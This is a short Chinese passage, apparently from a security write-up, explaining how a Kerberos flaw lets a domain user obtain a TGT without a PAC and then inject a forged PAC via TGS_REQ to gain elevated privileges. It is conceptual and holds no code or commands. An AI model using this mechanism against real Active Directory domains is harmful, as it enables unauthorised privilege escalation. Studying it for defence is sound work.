通常情况下，AS_REQ 请求中如果 include-pac 被置为 true，只要 AS 服务通过了域用户的认证，则会在返回的 AS_REP 数据包中的 TGT 中加入 PAC 信息；
而如果在 AS_REQ 请求时，include-pac 被置为 false，则 AS_REP 返回的 TGT 中就不会包含 PAC 信息。
于是在 AS_REP 返回的 TGT 中没有 PAC 信息后，域用户则可以伪造 "恶意" 的 PAC 放入 TGS_REQ 中，KDC 解密 PAC 后会再次加密到一个新的 TGT 中并返回给域用户，此时的 TGT 中已经携带了 “恶意” PAC，也就达到漏洞利用的目的。